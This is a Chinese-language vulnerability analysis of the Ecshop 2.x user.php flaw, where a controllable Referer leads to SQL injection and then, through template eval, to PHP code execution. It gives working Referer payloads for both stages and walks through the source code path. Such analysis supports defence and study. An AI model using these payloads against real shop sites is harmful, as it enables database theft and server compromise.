存在漏洞版本
1 | Ecshop 2.x |
sql注入
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} |

代码执行
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca |

漏洞成因
user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。
sql注入漏洞分析
- 漏洞起源点在
user.php中,可以看到HTTP_REFERER是可控的
- 跟进
assign(),assign()把$back_act赋值给模版变量back_act。也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display()
- 跟进
display(),其中传进去的user_passport.dwt有一段为

- 首先会调用
$this->fetch来处理user_passport.dwt模板文件,fetch()中用$this->make_compiled来编译模板,make_compiled会将模板中的变量解析,将上面assign的变量$back_act传递进去了,解析完变量之后返回到display()中。此时$out是解析变量后的html内容,然后判断$this->_echash是否在$out中,如果存在的话,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理,其中_echash的值为
_echash是默认值,所以$val内容可随意控制。跟进$this->insert_mod:
$val传递进来,先用|分割,得到$fun和$para,$para进行反序列操作,$fun和insert_拼接,最后动态调用fun(para),函数名部分可控,参数完全可控。在/includes/lib_insert.php有一个insert_ads(),其中$arr是可控的,并且$arr['id']和$arr['num']会拼接到SQL语句中
- 那么就可以构造出如下的payload
1
echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))
即1
2
3
4
5
6
7
8echash:554fcae493e564ee0dc75bdf2ebf94ca
fun:ads
反序列化数据:
Array
(
[num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
[id] => 1
)
代码执行漏洞分析
- 继续查看
insert_ads(),在SQL查询结束之后会调用fetch(),在此处传入的参数是$position_style
$position_style的值是$row['position_style'],SQL查询的结果可控,也就是$position_style可控。但是需要$row['position_id']=$arr['id'],查询结果可控,arr['id']同样可控
- 其中
$position_style传入的时候会与str:进行拼接,进入fetch(),这个地方调用危险函数$this->_eval
跟进
fetch_str()
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);,这个正则表达式是匹配{}中的内容。
跟进
select(),当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内。
- 跟进
get_var()
- 当传入的变量没有
.$时,调用$this->make_var,跟进make_var:
- 结合
select()里面的语句来看,$this->_var[\'' . $val . '\'],要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$val为abc'];echo phpinfo();//;从select()进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select(),需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//}。 - 然后把构造好的代码通过SQL注入漏洞传给
$position_style。 这里可以用union select来控制查询的结果,根据之前的流程,$row['position_id']和$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style。
参考文献:https://www.cnblogs.com/bmjoker/p/9953451.html
https://paper.seebug.org/695
